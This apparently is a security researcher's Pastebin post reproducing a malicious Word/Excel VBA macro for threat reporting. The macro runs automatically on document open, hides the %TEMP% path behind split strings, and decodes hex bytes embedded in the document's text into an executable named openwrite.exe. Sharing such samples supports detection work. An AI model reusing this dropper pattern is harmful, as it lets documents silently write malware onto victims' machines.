Advertisement
Neonprimetime

VBA Macro xpress

Apr 14th, 2015
339
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Malicious VBA Macro
  2. Reported by neonprimetime security
  3. http://neonprimetime.blogspot.com
  4.  
  5. *****
  6. Sub Auto_Open()
  7.    xpress
  8. End Sub
  9. Sub AutoOpen()
  10.    Auto_Open
  11. End Sub
  12. Sub Workbook_Open()
  13.    Auto_Open
  14. End Sub
  15.  
  16. Sub xpress()
  17.  
  18.     Dim TmpFile
  19.     Dim TmpName
  20.     Dim BytesWritten
  21.     Dim lInputFile
  22.     Dim iRet As Integer
  23.     Dim strPrompt As String
  24.     Dim strTitle As String
  25.        
  26.     strPrompt = "Ask Your Question Here, OK?"
  27.     strTitle = "My Tite"
  28.     strTitle = "MP"
  29.     TmpFile = Environ("TE" & strTitle)
  30.     strTitle = "xe"
  31.     TmpName = TmpFile & "openwrite.e" & strTitle
  32.    
  33.     MsgBox (TmpName)
  34.  
  35.     Dim Data
  36.     Data = ActiveDocument.Range.Text
  37.     Dim Pos
  38.     Dim Pos22
  39.     Dim Symbol
  40.     Dim Text
  41.  
  42.     strTitle = "78"
  43.     Pos = InStr(12, Data, "56" & strTitle)
  44.     Pos22 = InStr(12, Data, "9999" & strTitle)
  45.     ByteWritten = Pos + 2 + 2
  46.  
  47.     InputFile = FreeFile
  48.     Open TmpName For Binary Lock Write As #InputFile
  49.  
  50.     While (ByteWritten < Pos22)
  51.     Symbol = Mid(Data, ByteWritten, 2)
  52.     strTitle = "H"
  53.     MsgBox ("&" & strTitle & Symbol)
  54.     Put #InputFile, , CByte("&" & strTitle & Symbol)
  55.     ByteWritten = ByteWritten + 3 - 1
  56.     Wend
  57.  
  58.     Close #InputFile
  59.  
  60.     MsgBox (TmpName)
  61.  
  62. End Sub
  63.  
  64. Private Sub Document_New()
  65.  
  66. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement